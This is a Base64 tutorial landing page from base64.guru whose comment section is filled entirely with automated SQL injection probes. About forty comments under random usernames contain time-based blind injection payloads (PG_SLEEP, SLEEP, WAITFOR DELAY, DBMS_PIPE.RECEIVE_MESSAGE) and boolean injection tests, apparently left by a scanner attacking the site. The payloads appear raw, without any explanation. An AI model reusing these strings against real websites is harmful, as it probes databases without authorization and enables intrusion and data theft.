A virtual teacher who reveals to you the great secrets of Base64

Learn Base64

Like any teacher, base64.guru wants his students to not only use the Base64 converter and copy ready-made examples for developers, but also to understand how it works. Since you have opened this page, you may have decided to learn about Base64, and I hope that here you will find answers to all your questions. Otherwise, please let me know what I missed.

And so, first read the following articles:

Next, check the sitemap. I am sure that there you will find additional useful knowledge. I think at least you’ll be interested in reading about the Base64 Standards and Data URI.

Comments (40)

I hope you enjoy this discussion. In any case, I ask you to join it.

  • nqhXncMU,
    555*814*809*0
  • nqhXncMU,
    -5) OR 678=(SELECT 678 FROM PG_SLEEP(15))--
  • nqhXncMU,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • nqhXncMU,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • nqhXncMU,
    -5) OR 40=(SELECT 40 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1); waitfor delay '0:0:15' --
  • nqhXncMU,
    s46AKleu')) OR 307=(SELECT 307 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1' OR 2+738-738-1=0+0+0+1 --
  • nqhXncMU,
    -1' OR 2+25-25-1=0+0+0+1 --
  • nqhXncMU,
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • gBqsPxAZ,
    -1' OR 2+21-21-1=0+0+0+1 --
  • gBqsPxAZ,
    WgQZkLil' OR 305=(SELECT 305 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • nqhXncMU,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • nqhXncMU,
    if(now()=sysdate(),sleep(15),0)
  • nqhXncMU,
    wR2N3pdb')) OR 709=(SELECT 709 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1); waitfor delay '0:0:15' --
  • nqhXncMU,
    -1); waitfor delay '0:0:15' --
  • nqhXncMU,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • nqhXncMU,
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • ncMUFCMU,
    -1; waitfor delay '0:0:15' --
  • ncMUFCMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • ncMUFCMU,
    if(now()=sysdate(),sleep(15),0)
  • ncMUFCMU,
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • ncMUFCMU,
    GPKUdAPU' OR 370=(SELECT 370 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1' OR 2+199-199-1=0+0+0+1 --
  • nqhXncMU,
    TWyJLc4D') OR 556=(SELECT 556 FROM PG_SLEEP(15))--
  • nqhXncMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • nqhXncMU,
    -1); waitfor delay '0:0:15' --
  • nqhXncMU,
    -1 OR 2+95-95-1=0+0+0+1
  • nqhXncMU,
    dSP39pBJ') OR 695=(SELECT 695 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1 OR 2+825-825-1=0+0+0+1
  • nqhXncMU,
    -1' OR 2+612-612-1=0+0+0+1 --
  • nqhXncMU,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • nqhXncMU,
    Ivc1hH82' OR 416=(SELECT 416 FROM PG_SLEEP(15))--
  • fHLvlxbf,
    -5 OR 87=(SELECT 87 FROM PG_SLEEP(15))--
  • fHLvlxbf,
    -1 OR 2+754-754-1=0+0+0+1
  • fHLvlxbf,
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • fHLvlxbf,
    -5 OR 940=(SELECT 940 FROM PG_SLEEP(15))--
  • fHLvlxbf,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
Add new comment

If you have any questions, remarks, need help, or just like this page, please feel free to let me know by leaving a comment using the form bellow.
I will be happy to read every comment and, if necessary, I will do my best to respond as quickly as possible. Of course, spammers are welcome only as readers.